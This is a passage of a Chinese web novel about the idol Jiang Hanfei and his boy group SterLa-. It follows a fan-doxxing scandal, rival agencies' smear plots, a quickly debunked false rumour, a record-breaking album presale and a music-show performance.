朱朱不明白，她看着房间一角堆放着的写真集，那是答应粉丝们要抽奖送出去的礼物，是为了庆祝江翰飞21岁的礼物。 她真的不明白为什么会有人做出这种事情，为什么要所有的事儿怪罪在江翰飞身上，又为什么要在他生日当天爆出这件事挂上热搜。 其实心里是明白的。当然是为了要让江翰飞倒在这件事上。 前面的整容也好，关系户也罢，无非就是个人的小打小闹，除了圈内人吃吃瓜，圈外的人进来看个热闹，不过几天忘在脑后，谁还记得江翰飞是谁？ 但这件事能一样吗？ 作为粉丝，打着为了他的名义，做着违法的事情，最后看着所有人指责他。 朱朱对那两个人无可抑制地生出怨恨，难过地想： 今晚江翰飞开开心心跟他们聊天，说他的糗事，分享他的生活，眉眼轻松，里面盛着满满的笑意。 那现在他知道这件事了吗？他看到这些指责会伤心吗？ 窗外浓重的夜色玻璃幕上反射出会议室里晃眼的白织灯，公关部负责人的话落地后室内安静得像是时间和空间都被凝固，只剩下众人下意识放轻的呼吸声隐约扇动着空气。 众人没有出声，视线都落在站在会议桌旁的江翰飞身上。 江翰飞抬起头，想说些什么，张张嘴却又说不出话来。 他下意识地蜷缩一下手指，又好像被什么卡住一般卡顿着缓缓松开。 视线不自觉地避开公关部负责人锐利地盯视，转头落在一旁会议桌面的文件上。 唐君君察觉到江翰飞的视线偏移，语气缓和，“文件不用看了，刚刚她已经讲得很清楚，里面也不是什么好话。” 这不是江翰飞自己的行为，但因为身份和职业的特殊却变成他必须要面对的事情。 她顿了顿，说出自己和公关部负责人在江翰飞来之前讨论出的结论：“我和她的意思是，公司这边直接发免责和道歉声明。” “你什么意见？” 江翰飞愣愣地看向唐君君，喉咙发紧，声音干涩着下意识重复，“免责声明？” 免谁的责？那谁又来承担这个责任？ 唐君君别开眼。 尽管今天是他21岁的生日。尽管在三个小时前，他还在跟粉丝快乐地直播互动，然后看了一场粉丝送他的盛大的、让人羡慕得上热搜的无人机表演秀。 但这些都不能成为他拒绝这份免责声明的理由。 第84章 最近圈内热闹的很，前一天晚上江翰飞的生日和粉丝违法开盒别人才下热搜，今天早上凌晨就爆出同期新人团KtM中的门面担当私下爆粗口，还嘴了大半个娱乐圈有名有姓前辈们的视频。 “给我看乐了，最近圈内过年吗？还是搞塌房接力赛啊？” “亲，一个接一个，让你看不停哦~” “长得人模狗样，果然狗嘴吐不出象牙。也不看看你嘴的人比你实绩多多少？” “别辱狗了，长得一张锥子脸就敢当门面了？我看你嘴xx就是嫉妒吧？不行整整呢？” “卧槽真看不出来，长得一副小白花的样子，私底下骂这么脏？” “不是，评论里的人能不能别这么离谱啊，情绪上来说脏话，蛐蛐几句同事也犯天条了吗？” “我们是普通人，他是爱豆啊？我们一个月工资三千，他也一个月工资三千吗？” “很好，粉丝的洗白话术不出所料。” “乐狮这是什么意思？！”KtM所属的安阳娱乐艺人部门负责人愤怒拍桌。 下面的公关部部长缩缩脖子，脑子加速运转，力图想出一个既能撇清自己干系，又不显得自己无能的理由，“老大，这个很明显就是乐狮他们想拿我们的人挡刀啊！” “你看昨天晚上还在热搜中间的江翰飞粉丝违法开盒别人的词条，现在已经被人压热度撤下来了。” “这事儿我看不出来？还要你说？”艺人部部长怒目圆睁，热搜都挂了一早上，现在才发现，真不知道这个废物是干什么用的，“我是问你怎么解决？！” 公关部部长脑筋一转，问道，“老大，KtM你上次不是说要准备解散了吗？” “都要解散的团了，那这澄清和公关的经费？” 艺人部部长拍在桌上的手一顿。 这倒也是，连着两张专辑，一张比一张差，根本没法去和乐狮，K家他们抢占市场。给他们澄清也没用，说不准到时候连澄清和公关的钱都赚不回来。 怎么公司里都是些废物。 不过也不能明说不给旗下艺人公关，那以后安阳娱乐的名声还要不要了？ “你说呢？”他不答反问。 公关部部长一听就知道自己上司这是打算放弃KtM了，但是还想做好人不想担这个骂名，“要我说这公关嘛形式也分很多种。” “既然他们出事儿能拉我们来挡刀，我们怎么就不能回击呢？” “最好的防守就是进攻，我们也放他们的黑料，到时候谁还记得咱们公司的人说脏话这点小事儿。” “你手里有他们的料？”见对方明白自己的打算，两个人心照不宣地把话题从处理澄清转移到怎么给对手抹黑上。 “嘿嘿，您就瞧好吧！”公关部部长眼睛一转，立即想起上次他们从营销号手里买的料。 “嗯，新的黑料你去安排，务必不能像之前那件事儿一样，被他们澄清还反咬一口，手里多少养了好些年的老号被告没了。” “至于他粉丝干的这事儿没这么容易过去！” 艺人部部长想到因为KtM干不过SterLa-，让自己被大老板骂了好多次就来气，说话间竟带着咬牙切齿，“你再去挖一挖，联系一下那两个营销号，这次一定要把乐狮他们的新团和这个江翰飞给摁死！” 面对常见的挡枪式公关手段，大家都不是傻子。尽管被拉来挡枪的是KtM，但不影响其他虎视眈眈的经纪公司也趁机落井下石，想把SterLa-踩下去。 哪怕踩下江翰飞影响不到整个团体，但负面新闻也能让不少人脱粉，光是毒唯和团粉之间的斗争就够乐狮喝一壶的。 就不信这之后他们即将发行的三专还能保持好成绩！ 圈内和乐狮针锋相对的娱乐公司们像是闻到猎物伤口鲜血味道的鬣狗，煽动着鼻子试图追随着这股血腥味找到自己臆想中即将倒下的猎物。 然而可惜的是，线索中断了。 事情源头的两个营销号删掉了最新的准备起诉两个开盒人的博文。早先开盒这两个营销号的粉丝账号也发布最新的博文，称将注销此账号，回归自己的生活。 突如其来的翻转差点折断还在冲刺着吃瓜的圈内人士的腰。 什么情况？ 乐狮撤热搜，起诉人撤销诉讼，开盒人注销账号。 这事儿和平解决了？ 不不不，怎么能和平解决呢？ 我们还没来得及下手啊？ 各家正在联系两个源头营销号的公关部门紧急刹车，互相试探着打听什么情况。 打听来打听去，居然也没人知道这两个营销号为什么突然撤诉了。 难道是乐狮下场帮粉丝解决了？ 转到乐狮的官方账号，上一条博文还是乐狮主力男团Hitting的巡回演唱会的宣发，接着他们再怎么使劲儿刷新，也刷不出新的博文。 各家公司公关部拿着手机一头雾水，再一刷，又刷出来一条新的热搜。 乐狮娱乐，SterLa-练习室。 “怎么样？”吴星雨问。 于立果无声摇头，“还是没说。” 禹安和葛文山在一旁皱眉，禹安不耐烦地啧一声，“我真是服江翰飞这半天说不出一句话的性格了！” 葛文山看他一眼，又默默收回视线。 “问他怎么处理的非不说，这有什么好保密的？”禹安双手抱头，手指抓抓头发，一副快要抓狂的样子。 “那你直接去问君君姐？”于立果反问。 禹安一噎，他要是敢去问君君姐，还用得着让于立果去探江翰飞的口风吗？！ “那我们现在先别管吧。”吴星雨提议，“反正热搜已经撤下来了，看阿飞训练状态也没问题。” 他露出古怪的表情，“甚至感觉更有劲儿了。” 禹安撇嘴，“他该不是被刺激到了吧？” 说完又叹口气，“但我觉得确实也不用着急问了。” “今天早上看到KtM的热搜，话题参与度和热度比阿飞昨天的热搜还高，估计现在最着急的是KtM的公司吧？” “这倒是，毕竟是视频，没什么可以争辩的余地。”于立果歪头思索一阵，也同意暂时不用多追问。 既然事情都解决了，还是给弟弟保留点隐私。 “啊——”吴星雨伸个懒腰，“没事儿就好，阿飞今天早上凌晨才回，又跟着我们练了一天，今天晚上我们早点撤吧？” 正待点头，刚刚去洗手间的江翰飞推门进来，见四人齐刷刷地看向自己，微微歪头，露出疑惑的表情。 禹安见到他冷哼一声，我大人不跟小孩子计较，你就死守你的嘴巴吧！ 江翰飞垂眸，知道他们是在担心自己昨天的事。 但是不能说，说了他们可能更担心。 于立果觑着江翰飞神色，一边走过来一把揽住江翰飞肩膀将他往门外带，一边念叨着，“走了走了，回去睡觉。” 被带的一个倒转的江翰飞疑惑道，“今天这么早就不练了吗？” 禹安在后面催促，“走走走，今天不练了不练了，你也不许背着我们一个人偷偷进步，必须一起回去睡觉去。” 江翰飞从于立果胳膊里探出一个头，准确找到吴星雨，丢过去一个询问的眼神。 吴星雨是队长又是主舞，平时都是吴星雨管着他们的练习时间和进度。 吴星雨和他对上眼，笑着走过来拍拍江翰飞的背，“走吧，今天到这儿可以了，不会耽误进度的。” 听见主舞大人发话了，江翰飞老实地跟着于立果的胳膊往前走。 其实还是挺困的，早上和公关部负责人以及君君姐在会议一直呆到天边都泛起鱼肚白才结束。 睡了两个小时就起来和队内其他人一起练舞，说一点不累不困怎么可能呢。 可惜福无双至，祸不单行。 几人刚回到宿舍，就听江翰飞手机响了。 “喂，君君姐。” 话一出口，屋内剩下四个人同一时间放慢手上动作，耳朵竖起来听他们会说什么。 “颁奖典礼上？”江翰飞被电话那头的唐君君问得一懵，“哪个颁奖典礼？” 颁奖典礼？ 这又是什么事儿？ 这头的唐君君强压着自己不要把火气撒在受害者身上，“11月16号，第一个颁奖典礼，你们拿到最佳MV奖下台之后是什么情况？” 都说老实孩子招人疼，其他公司是看着孩子老实就黑？ 江翰飞一边喃喃复述着唐君君的话，一边努力回想着当时的情况，“没什么啊？” 他就只记得那天山哥低血糖犯了，差点摔倒在通道里。 于立果碰碰江翰飞胳膊，示意他看自己的手机。 他的手机上正显示着最新的热搜，里面有一条赫然是#江翰飞耍大牌。 点进去一看，是当时他们下台的时候，江翰飞把话筒递给工作人员，对方正伸手接，他却直接把话筒扔地上了。 视频拍摄角度刁钻，只能看到双方的背影和中间递话筒的部分视角，咋一看的确像是那种恶劣的人想故意耍大牌整人。 江翰飞看着视频眨眨眼，快速地说，“不是这样的。” “当时是肩胛骨被撞到，伸手的时候抻着筋才一下子没拿稳的。” “后来我也跟他道歉了。” 果然。 她就知道这种事儿根本就不可能是江翰飞这个人会做出来，“知道了，我会跟公关部去处理，你们该干什么干什么。” “但不要出公司。” “好的。”江翰飞应道。 “这些人有病吗？！”禹安看完视频，恨恨点踩，“没事儿找个班上吧！一天天怎么这么闲啊？” “这个应该还好。”江翰飞重新仔仔细细看完视频，确认就是那天没拿好话筒的事儿，“君君姐他们很快就能处理好的。” “你们别担心，早点休息吧。” 说完江翰飞抬起头，发现四双齐齐望着他的眼睛，疑惑地问，“怎么了？” 禹安摸着下巴踱着步过来，围着他绕行两圈，“不对劲！你不对劲！” 江翰飞：？ “嗯？” 于立果也发现了，“阿飞，你怎么对这个黑热搜这么淡定？” 淡定？ 他挠挠头，“我只是觉得这件事情我没做过就是没做过，而且会场肯定会有粉丝一直在拍我们，想要澄清很容易。” “嗯，所以没有必要着急。” 这话说完，又喜提四双望着他的眼睛，眼神还特别古怪。 双方沉默几秒。 于立果走过来拍拍江翰飞肩膀，“咱阿飞弟弟也成长了啊。” 事情果然如江翰飞所说。 这个热搜挂上去还不到一个小时，就被底下点赞评论顶的最高的另一个视频贴脸打脸。 另一个视频离下场的阶梯更近，大概拍摄的人就站在旁边的站坑里，拍出来的视频不仅完整记录了话筒事件的全过程，连两人的嘴型都清晰可见。 粉丝圈内向来是卧虎藏龙，立马出现几个会唇语的粉丝，秒解码。 “点进来正准备开骂，幸好看到评论，收回我的四十米大刀。” “怎么又是这个人，最近老在热搜上看到他，买热搜买到我有点反感了。” “哈哈哈哈这个打脸真的是来得太快了！看见没！我们阿飞当场就道歉了，走的时候都还连连道歉两次才走，谁家耍大牌这么耍？” “非粉也要说一句，最近江翰飞确实是得罪人了吧？这黑热搜的频率太高了点，公司不管的吗？” “真的小蝴蝶看到这个黑热搜都当笑话看，但凡稍微对他有一点了解，就知道他不可能做这种事。” “谢谢对家给我们送热度，你怎么知道江翰飞和袁杰老师的合作曲喜获今年大众最受欢迎合作曲，江翰飞所在的SterLa-还喜提xx奖，xx奖，xx奖了呢？” 第85章 一场黑江翰飞耍大牌的热搜跟搞笑似的迅速消弭于无形。甚至没等乐狮的公关出手，网友们就已经自发澄清完毕。 没了后面的人买流量，这个热搜很快掉下榜单，全程在榜时间还不超过两个小时。 只留下全网公关界的笑柄和几个当天就被安阳娱乐辞退的人员。 今年的春节来的很早，跨过元旦，一月底便是春节。 在春节来临之前，已经赶完最后一场颁奖典礼的SterLa-最大的任务毫无疑问是即将发行的三专。 今年SterLa-三专发布时间刚出来的时候，乐狮被骂了好一阵，直言没脑子别拖着形势大好的SterLa-下水。毕竟春节来临前的节点，鲜少有人会在这个时候发歌发专。 年一到，都会被满大街的恭喜发财和各类春节歌曲占满。 买专听歌的主力军就是刚出社会的小年轻们，这个时间也正忙着收尾受伤工作，挤春运，陪陪家里人。 谁还有心思听你唱歌，给你打榜？说句不好听的，哪怕要收割学生党手里的过年红包也得等到年后呢。 往年能在这个时候发歌的人，不是大佬，譬如袁杰；就是脑残，譬如他们的师兄团Cilier。 “不再考虑一下吗？”市场部部长额头冒汗，眼睛觑着唐君君的脸色。 这也太大胆了些！ 于部长老神在在地靠在椅子上，食指敲击着大腿，眼角也斜了一眼唐君君。见她面不改色地点点头。 他心里嗤笑一声。 这年头的年轻人真可怕啊，这张口定下这个量还能这么冷静。 难不成自己的魄力连个三十不到的小年轻都不如？ 见市场部部长的眼神看过来，于部长坐直身子，“那就这么定了吧。” “部长，上次的总销量是43w。”市场部部长面露难色，他吞口唾沫，弱弱问道，“这次真要直接下百万的订单？” “我还不知道上次的销量？你看看你这没出息的样子。”于部长最看不得市场部部长着畏畏缩缩的样子，一个干市场的怎么一副怂样，“上次对比第一次你也不看看总销量的增长有多少倍。” 市场部部长还想争取一下。 基数都不一样哪能这么比较？这专辑订单下去后，要是卖不完，最后可是扣除他们的绩效。 但看到唐君君冷静的神色和自己顶头上司已经隐隐有些不满的神情，他还是把再劝的话吞进肚子里。 数据都摆在眼前，大不了大老板那儿还得再过一关。 可惜大老板没如他的愿，甚至大老板在看着要定百万的专辑量后更是笑开花，这说明什么，说明他乐狮又要出一个大热男团了啊！ 于是在唐君君的坚持下，三专乐狮的备货量敲定。 1.7，中午12.00乐狮即将释出SterLa-三专《以白为黑》预售链接 “那就希望一切顺利吧！”现在离发布还有三分钟，市场部部长在办公室内等待着。 焦躁的等待让他一遍又一遍想起一个月之前他是怎么抖着手把属于SterLa-的百万专辑订单下给工厂的。 他如坐针毡，一会儿坐下，一会儿又站起来转上两圈，等走到自己发晕，又坐回去。 “姐妹们，倒计时三分钟了！”粉丝超话内，除了专辑相关话题，其余话题被粉丝有志一同地屏蔽。 “不要让别家看我们的笑话！” “给他们最好的！” “郑重提示，大家先保障自己的生活！！有余力再出手！！” “UU们，这个时间点发专，我们就只有一条路可以走了！冲了！” “倒计时一分钟啊啊啊啊！！！” 唐君君靠在办公室内的椅子上闭目养神。 这次三专的时间是她提的，专辑订单量也是她亲自定的。 获奖提名出来后，她和他们一起开过会。 二专的音源销量成绩都很出色，但是发行的时候已经五月，年度的积累时间不够，如果他们想要冲刺年度歌曲，必须要拉长积累时间。 而年歌的音源积累是按照自然年计算。 “要不要搏一把？”她当时是这么问他们的。 SterLa-几人相互对视几眼，一起给了她肯定的回答：博！ 于是定下了这个被粉丝骂的发专时间：1.7 预售，1.20正式开售，而1.30日就是春节。 将原计划春节后的发布时间提到节前。 如果这次失败了 唐君君深深吸一口气，感受到心脏猛烈地跳动。 倒计时30秒！ “一百万？他们老板也跟着昏头了？”K家娱乐的部长收到自家下属从工厂那儿打探到的消息，诧异地问道。 “不知道。”下属也迷惑，虽然确实势头不错，但是怎么敢下这个大的量？ “我还反复确认了好多遍是不是Hitting的专辑，那头负责人跟我说就是SterLa-的，而且仅仅是他们三专的量。” “疯了。”部长喃喃，“他们什么时候开售？” “就现在。” 倒计时5秒 4秒 3秒 2秒 1秒 “叮——！” 关注的人发了新的博文提示音响起。 SterLa-官方账号上12.00准时刷出三专《以白为黑》预售链接。 “姐妹们！冲啊！” “就要冲首小时！！” “让我们一起去山顶看风景！” 这个发专时间粉群内也不是没有人猜到他们的目的，但是不敢明说。 他们一个才出道一年多的小爱豆，就敢发梦想拿年歌，是不是胆子太大了些？ 但今年的颁奖典礼又给足了粉丝们勇气。没有一个颁奖典礼空手而归，与音乐有关的高含金量奖杯拿了四五座。 如果他们的资历再深些，能拿更多。 今年我们就能拿到这么多高含金量的奖杯，那明年 万一呢？ 既然时间已经定下，自家偶像都打算搏一搏，那他们有什么理由不跟上？ 拼了！ 乐狮市场部部长呆呆地坐在椅子上，摸摸自己地头顶，看着眼前电脑显示屏上的数字。 多少？ 首小时32万！！！ 他人仰马翻地趴到电脑桌前。 点击，刷新页面。 显示的目前销量：32万！！！ “预售首小时32万”他双眼发直，整个人像是被定在那儿，只剩下嘴巴一张一合呆呆地重复，“首小时32万” 随即他又过电一般清醒过来，手忙脚乱找到自己的手机打电话。 “君姐！32万！首小时32万呐！！库存不够的！加单，我们要加单！” 唐君君挂断电话，关掉电脑显示页面，重新靠回椅背，右手抚上胸口，感受到里面激烈地、畅快地、仿佛冲破阻碍搏击长空的雄鹰一般的跳动。 在这个行业，平庸就是原罪，不冒险才是最大的危险。 她嘴角勾起一抹笑，眼里燃烧的是对下一场狩猎的渴望。 几家欢喜几家愁。 专辑的销售情况在圈内的传播速度不亚于狗血八卦。 SterLa-三专首小时卖出32万的销量。 这个消息在圈内迅速传开，多少乐狮娱乐的竞争对手暗叹乐狮好命，Hitting还在鼎盛阶段，这下又培养出来一个SterLa。看来今年的商业盛典上，确实可以和K家娱乐坐一桌，美美升咖了。 K家娱乐的部长听到最新的消息也颇为失魂落魄。论资源，论大众认可度，论手下人才，自认觉得比乐狮高一个台阶，怎么推出的新人团就不如对方呢？ “把今年要推出的男团的策划案重新发我一份。”他给下属发消息，“另外研究一下SterLa-的情况，我要全面的，仔细的。从他们几个成员本身到后面的运营团队情况，抽丝剥茧都给我挖出来！” 这个场景在各个今年即将推出新团的娱乐公司发生。 出道一年半就能卖出百万专辑销量。如果不是真实发生，圈内人听到消息只会觉得这是个笑话。 哪怕写小说也没这么敢写的。真当白日发梦呢？ 可它确实发生了。 《以白为黑》首小时32万的销量，意味着它的首日销量一定会超过70万，如果加上两周的预售期，打歌期的正式开售以及后续的签售专 略微有些市场备货经验的人粗粗一算，就要被吓个半死，然后疯狂在脑内列出可能发生的导致销量下滑的续航不足的各种原因，可再怎么删删减减，SterLa-三专销量破百万已是板上钉钉。 粉丝们对销量的敏感程度不亚于这些做市场调研的人员，首小时销量一出，粉丝超话内已经开始发电子烟花刷屏。 “姐妹们！！稳住！！我们已经成功一半了！！！” “距离首日结束倒计时22小时33分钟！” “距离我们的目标还有66万，冲鸭！！” “呜呜呜呜我们做到了，谁再欺负我们的崽，姐妹们人手一本专辑砸死他！” “宝宝说要，宝宝得到！” 而现在他们的崽崽正在练习室内挥汗如雨地准备着三专舞台，都快忘了今天是他们三专预售的发布日。 吴星雨拿起帕子擦擦满额头的汗，右手背到身后小幅度地锤锤自己的腰，他跳舞练舞时间太长，腰上有伤。 “咦，今天是我们三专预售第一天啊！”刷到粉丝们兴奋庆祝帖子的禹安惊觉。 “还真是。”禹安的声音将几人都吸引过来，一起看着他的手机屏幕。 “庆祝SterLa-三专《以白为黑》首小时总销量32万！”禹安一字一顿地念到，“首小时32万？！我们？！” “对，你们！”欣怡的声音从身后传来，“即将坐拥百万专辑销量记录的SterLa-，大明星们，停停吧，收拾一下，老板找。” 第86章 几人跟着欣怡进入老板办公室，唐君君和于部长已经在里面等着了。 “近来总是看到你们的宣传海报，这还是我第一次见你们真人。”老板笑呵呵地看起来一团和气，“都坐。” SterLa-几人顺势坐在沙发上。 老板办公室的沙发真不错。 葛文山也没其他爱好，就喜欢逛逛家居店，买买家具。坐上老板沙发几乎就想开口问老板要链接。 幸好理智还在，死死忍住了。 “大家也别拘束。”老板坐在一张单人沙发上，“我让大家过来也是想见见我们公司的中流砥柱。” “跟大家聊聊未来的规划。” “专辑三部曲到三专已经完结，正好公司新引进来一批老资质的音乐制作人资源，后面在这块儿上可以给你们更多支持。”老板靠在沙发上，右手搭在沙发扶手上，身上自然而然带着上位者的气势，于部长和唐君君低眉敛目坐在另一边。 “我们公司向来是公平的，什么样的团就配什么样的资源。” “除了这部分音乐资源，后续的巡演、代言和综艺影视类的资源也少不了你们的。” “至于你们之前要求的粉丝曲。”老板顿了顿，“作为你们这次专辑销售的奖励，让制作人部门带着你们一起做吧。” 说到这儿，他看了于部长和唐君君一样，见两人点头示意收到又转头回来看着对面坐着的新晋摇钱树。 沙发山上的五人从进来就没能讲一句话，乖乖坐在沙发上，只在老板说到起兴的时候点头附和以表认同。听到这儿他们的眼睛才亮了亮。 老板行程也繁忙，找个时间跟他们亲自聊聊以示重视，后面的资源自然有人去匹配。没一会儿，老板画完他的饼就让唐君君先带着SterLa-几人回去继续训练。 出来办公室后，SterLa-回训练室，唐君君回办公室，她手里还有一堆文件没审完，一边走一边心里暗自唾骂老板这只老狐狸。 说什么制作人资源，说到底还不是江翰飞搭上袁杰带来的资源，人本来就是找SterLa-的。 不过今天来跟老板见这一面，后面所有的资源都不会先过Hitting再给他们，现在SterLa-坐拥百万销售业绩，在公司已经可以和Hitting旗鼓相当。 而SterLa-几人感觉自己就是去走个过场，听老板在那儿说一通，然后又原路返回。 回到自己的练习室，几个人有志一同地深吸口气放松下来，在老板那儿也太折磨人了，坐不敢坐，动不敢动；还是练习室舒服。 1月20日中午12.00，在春运也开始抢票时，SterLa-的三专《以白为黑》正式上线，上线第二天同步开启打歌。 这次时间紧迫，他们打歌只能打一周。而且周边现在已经张灯结彩准备迎新春，一如他们的猜测，大街小巷都回荡着各类春节祝福曲。 “我们是不是每次打歌的第一场都是来的ICS啊？”坐在去演播现场的车上，禹安突然问道。 “嘶~你这么一说，好像还真是？”吴星雨摸摸下巴，回忆着前两次还真就都在ICS做第一次打歌，连第一个一位也是在ICS拿到的。 “吴哥，别摸下巴。”江翰飞提示道。 “噢噢噢。”吴星雨赶紧放下摩挲着下巴的手。他老忍不住摸脸，但是他们在外面几乎都是带妆的，更别提等会儿还得上舞台，下意识的摸脸容易破坏妆造。 吴星雨这个小习惯被欣怡说了好多次老改不过来，现在江翰飞看见了他有这个动作，不管是不是带妆的状态都会提醒他。 习惯了就不会了。 “来了吗来了吗？” “来了来了！” “啊啊啊啊是他们的车！！” 知道SterLa-的打歌行程，楼外早早围上一圈等候的粉丝们，拿着SterLa-的应援棒和手幅，见他们的车由远及近，停靠在路边。 江翰飞拉开车门，原本紧紧盯着他们车的粉丝们见有人出来，像是一颗火星子掉进干草堆，轰地燃起熊熊大火，她们也瞬间沸腾起来。 “飞崽！” “江翰飞！！看这儿！” “阿飞你是最棒的！” 现在的江翰飞早不是那个下车之后呆愣在原地，不知所措，手脚都不知道往哪儿放的新丁。稍稍站在一边等几人都下来，他们一起从容地往粉丝们等待的地方去。 见自家崽崽们靠近，原本就激动的粉丝们更是不得了，尖叫声又高了一个八度。 他们边走边停，时不时跟粉丝们互动一下。江翰飞看到有好几个见过多次的站姐，为了镜头稳定，她们远远站在靠后的位置，摄像头对准他不停地咔嚓咔嚓。 江翰飞笑笑，特地向几个确认是他站姐的镜头前挥挥手。 然后明显能感受到站姐手指按键速度更快了。 “江翰飞！恭喜你们达成百万销量！”快进门时，背后有粉丝大声喊道。 江翰飞停住脚步，转身迟疑一瞬，随即眼带笑意，抿着唇，微微侧身双手举过头顶，比了一个大大的心。 “啊啊啊啊！” “阿飞，崽崽！！” 江翰飞的粉丝瞬间爆发出尖叫。 崽崽开窍了啊！会主动比心了！ 阿飞，保持住，会媚粉的爱豆才是好爱豆！！ 其余四人站在门后等他，禹安朝着于立果他们挤眉弄眼，满是调侃的神色。 于立果几人站在一边，看着颇有些老怀大慰，待江翰飞小跑进门，几人又一起跟粉丝们挥挥手道别才往里去。 进门没多久，就有工作人员殷勤地领着他们拐去了另一个他们没去过的方向。 他们来这儿打歌多次，端的上是熟门熟路。这会儿看着工作人员把自己往没去过的地方带，禹安挤挤眉头，悄悄问走在他旁边的欣怡，“欣怡姐，这是往哪儿走啊？” 欣怡却像是知道的样子，眉目里露出点骄傲的样子，神神秘秘地低声回他，“待会儿你就知道了。” 果然，转弯后没走上几步，工作人员就笑着打开门，“SterLa-的各位老师，这是我们台给你们准备的休息室。” “如果有什么需要的，可以再跟我们沟通。” 说着他让开身体，吴星雨几人心里犯着嘀咕又隐隐带着一种奇妙预感走进没来过的休息室。 进来前，吴星雨都不知道原来电视台的休息室能做到这么豪华。 宽敞的休息室配置齐全，光是做妆发的妆台十几个靠墙排上一排，上面放着随时可以取用的各种未拆封的零碎道具。另一边靠墙放两组大沙发，中间围一张台几放着新鲜的水果和小包零食，地下铺着短绒地毯。靠窗的位置空出一大片空地，墙边内嵌整面的镜子。 进来的SterLa-几人心里被这称得上空旷的休息室惊到，勉强维持表面镇定，在工作人员的注视下状似从容坐到沙发上。 “那我就先不打扰各位老师了，有什么需求随时跟我们说。”说着工作人满脸笑意关上门离开。 门一关，吴星雨率先放松绷紧的身体，坐在沙发上，上下颠了颠，“这才叫‘休息’室啊！” “原来还有这么豪华的休息室。”江翰飞左右环顾，“还能带茶水间和洗漱间。” 随行的妆造师和工作人员门开始规整物品，欣怡笑着走过来，“这里可是专供给顶级艺人的休息室。” “这次没大热和我们撞回归期。你们三专预售直接破百万，昨天中午上线的音源，上线就是实时榜单前五。” “挂到现在，没累积到一天就已经进入了Top前十五，后面加把劲儿——”欣怡的脸上笑意溢出，她刻意地停顿半秒，口吻骄傲地说，“你们就是近三年出道的男团里唯一一个进入音源榜单前十的男团了！更别说你们的百万销量时间已经突破你们师兄的记录” “出道一年半，破百万销量。同时音源同代第一。” “所以他们现在这么殷勤正常得很。” 五个坐在沙发上人像幼儿园的小朋友，齐齐望着正在骄傲摆他们实绩的欣怡。 嘶…… 自己身在其中没感觉，原来自己已经这么牛逼了吗？ “好了。”唐君君不知什么时候靠在门边，几步走进来，眼神平静地扫过众人一圈。几人刚翘起来的尾巴又被她压回去，“三专第一场打歌舞台，好好准备。” “砸了场，就该换成笑柄同代第一了。” 两句话摁下几个大男生颇有些飘飘然的心，休息室内包括欣怡的其他人也老老实实干活，不再吱声，等唐君君出去，大家才稍稍放松。 君君姐真是越来越吓人了！ 做完妆造，没等一会儿，工作人员就来敲门通知他们去前台录制。 “今天的票网上炒的好贵。”录制现场，一位其它男团的粉丝小姐姐悄悄对同伴说道。 同伴一边刷手机一边漫不经心地回，“肯定啊，每次有热门男团的场都炒的高。” 小姐姐看眼四周，压低声音，“幸好我是直接抢到的，而且现在不允许带应援棒进场，不然到时候场内都是他们的应援棒，我们哥哥多尴尬啊。” 同伴按掉刚刚刷到的SterLa-音乐节现场表演视频，低头凑过去，“但是你不好奇嘛？真的很好奇诶，他们舞台到底有多好啊，怎么去过他们现场的都在吹。” 小姐姐撇撇嘴，不以为意，“能有多好啊？但凡大热男团都说自己团的舞台好看。” 同伴不接话，毕竟她也没亲眼看过，只心里默默反驳，‘看刚刚音乐节的现场视频，至少比你追的哥哥顶胯来的好看。’ 两人正聊着，全场突然爆发出尖叫。两人被声音一震，懵懵地下意识看向舞台上。 第87章 几人正从舞台一边的阶梯走上舞台。 他们身着黑色卫衣和黑色运动裤，衣服和裤子上有着各种动物形状的荧光色图块，在纯黑底色上显得格外扎眼。 “他们打歌服这么素的吗？”小姐姐转头低声和同伴说道。 同伴猜测，“大概是因为这次他们的歌曲是比较欢快的？” 这次SterLa-的三专主打曲名为《以黑为白》，名字出来时大家就在猜测，是不是和前面两张专辑一样，是在写实或者讽刺社会现象。结果令人大跌眼镜，这次的曲调意外的欢快，编曲里充斥着音色明亮欢快的尤克里里和小军鼓，歌曲节奏一开始主歌部分舒缓优美，重复性高，很容易就让人跟着一起哼唱，到中间副歌部分节奏加快变得热烈紧凑，拉高情绪。 这种欢快的歌曲，配这种青春活泼的服装很正常吧？ 两人说话间，台上几人已经做好准备，随着整个舞台的灯光暗下，录制厅内也安静下来，场内只剩下机器运转的声音。 舒缓的前奏滑入场内，江翰飞开口定调，音色一如往常的清冷，像是夏天加冰柠檬水，融在舒缓的编曲中又像法式甜点中那层轻轻的薄脆，让你因为酥脆的口感，想不停地咬下一口又一口。 而舞蹈部分这次却出乎意料的简单，其余几人像是路人看热闹似的，先是双臂抱胸地望着他，右脚齐齐点地，似乎也和台下的观众一样在品评着他这一段开口。 “编舞这么简单？”台下的小姐姐忍不住吐槽，“这么简单的编舞感觉像是幼儿园舞蹈？！” 当然她也不敢大声地说，毕竟场内随处可见地SterLa-应援手幅，她怕说大声了被身边的SterLa-粉丝听到，录制完后被揍。 同伴也有点失望，虽然不粉SterLa-，但刷了这么多他们的现场视频，是抱着很高的期望来的，现在虽然主唱唱得确实好听，但是这舞蹈是不是太敷衍了些？不太符合他们敬业男团，宠粉男团的印象呢？ 想法刚落，台上的舞蹈动作随着节奏渐渐变快也开始变得夸张起来，几人忽然像是在玩儿123木头人一样，快速变换着各种队形和定型动作。五人像是五只相互穿梭的梭子，在台上灵活的变换着自己的站位，随着音乐变换交织出各种奇异的队形，同时换位和定型动作越来越夸张，从一开始简单的折腰，扭曲，起身，演变成飞跃，侧空翻等。 灵活又繁杂的动作让人眼花缭乱，台下粉丝只能怔愣地看着台上的夸张表演。 台下小姐姐也一副呆愣的样子看着台上一边做侧空翻一边唱歌的人。 人能同时侧空翻加唱歌？还能唱得这么稳？ 肯定是假唱的吧。 她一半的脑子不管不顾地想，但另一半脑子理智地告诉她，SterLa-从出道以来所有舞台都是全开麦舞台。 伴奏逐渐推进到副歌，音乐节奏越发激烈，急促的鼓点像子弹一样喷发，场边音响发出的声音像是包裹住了整个场地，连场内的空气和灯光都在跟着一起震动。 舞台上的五人似乎更加沉浸在欢快的节奏中，舞蹈变得整齐，迅速和激烈。 每个人脸上都带着不变的笑，从伴奏进入副歌的那一刻，他们用整齐清脆的踢踏舞步，踩着明确的重音，手部动作加上有力的挥臂，舞蹈显得怪异又有奇特的魅力，让台下的人忍不住跟着节奏一起晃动。 整个录制厅的人也随着歌曲重音一起使劲儿点头，上下晃动身体。 噢噢噢，SterLa-的这首歌确实好欢快啊 好洗脑！ 动次打次摇起来！ 